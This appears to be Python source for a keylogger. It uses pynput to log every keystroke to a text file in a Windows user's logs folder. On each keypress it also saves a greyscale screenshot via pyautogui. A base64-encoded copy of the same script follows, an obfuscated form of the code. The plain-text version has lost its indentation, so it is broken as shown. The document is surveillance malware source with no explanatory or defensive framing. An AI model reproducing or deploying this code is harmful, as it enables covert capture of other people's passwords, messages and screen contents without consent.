from pynput.keyboard import Key, Listener
from datetime import datetime
import pyautogui
import logging
log_dir = "C:/Users/Matrix/logs/"
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')
def scr():
time_raw=str(datetime.now())
date = time_raw.split(".")[0]
name_file = date.replace(":"," ")
pyautogui.screenshot().convert('LA').convert('RGB').save(log_dir + name_file+'.jpg', quality=10)
def on_press(key):
logging.info(key)
scr()
with Listener(on_press=on_press) as listener:
listener.join()
ZnJvbSBweW5wdXQua2V5Ym9hcmQgaW1wb3J0IEtleSwgTGlzdGVuZXIKZnJvbSBkYXRldGltZSBpbXBvcnQgZGF0ZXRpbWUKaW1wb3J0IHB5YXV0b2d1aQppbXBvcnQgbG9nZ2luZwoKbG9nX2RpciA9ICJDOi9Vc2Vycy9NYXRyaXgvbG9ncy8iCgpsb2dnaW5nLmJhc2ljQ29uZmlnKGZpbGVuYW1lPShsb2dfZGlyICsgImtleV9sb2cudHh0IiksIGxldmVsPWxvZ2dpbmcuREVCVUcsZm9ybWF0PSclKGFzY3RpbWUpczogJShtZXNzYWdlKXMnKQoKZGVmIHNjcigpOgogICAgdGltZV9yYXc9c3RyKGRhdGV0aW1lLm5vdygpKQogICAgZGF0ZSA9IHRpbWVfcmF3LnNwbGl0KCIuIilbMF0KICAgIG5hbWVfZmlsZSA9IGRhdGUucmVwbGFjZSgiOiIsIiAiKQogICAgcHlhdXRvZ3VpLnNjcmVlbnNob3QoKS5jb252ZXJ0KCdMQScpLmNvbnZlcnQoJ1JHQicpLnNhdmUobG9nX2RpciArIG5hbWVfZmlsZSsnLmpwZycsIHF1YWxpdHk9MTApCiAgICAKZGVmIG9uX3ByZXNzKGtleSk6CiAgICBsb2dnaW5nLmluZm8oa2V5KQogICAgc2NyKCkKCndpdGggTGlzdGVuZXIob25fcHJlc3M9b25fcHJlc3MpIGFzIGxpc3RlbmVyOgogICAgbGlzdGVuZXIuam9pbigp